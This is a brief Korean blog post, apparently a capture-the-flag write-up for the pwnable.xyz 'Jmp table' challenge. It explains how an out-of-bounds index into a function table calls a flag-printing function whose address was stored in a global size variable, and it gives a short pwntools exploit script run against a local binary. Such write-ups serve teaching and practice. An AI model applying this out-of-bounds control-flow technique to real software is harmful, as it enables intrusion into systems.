pwn/pwnable.xyz

pwnable.xyz / Jmp table

lok2h4rd 2022. 5. 11. 20:25

mitigation

 

main

  1. 힙 할당
  2. 힙 해제
  3. 쓰기
  4. 읽기
  5. exit

각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 

할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다

size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다

 

flag

 

 

from pwn import *

p = process("./jmp_table")

def do_malloc(length):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(length))

do_malloc(0x400A31)
p.recvuntil(b"> ")
p.sendline(b"-2")

p.interactive()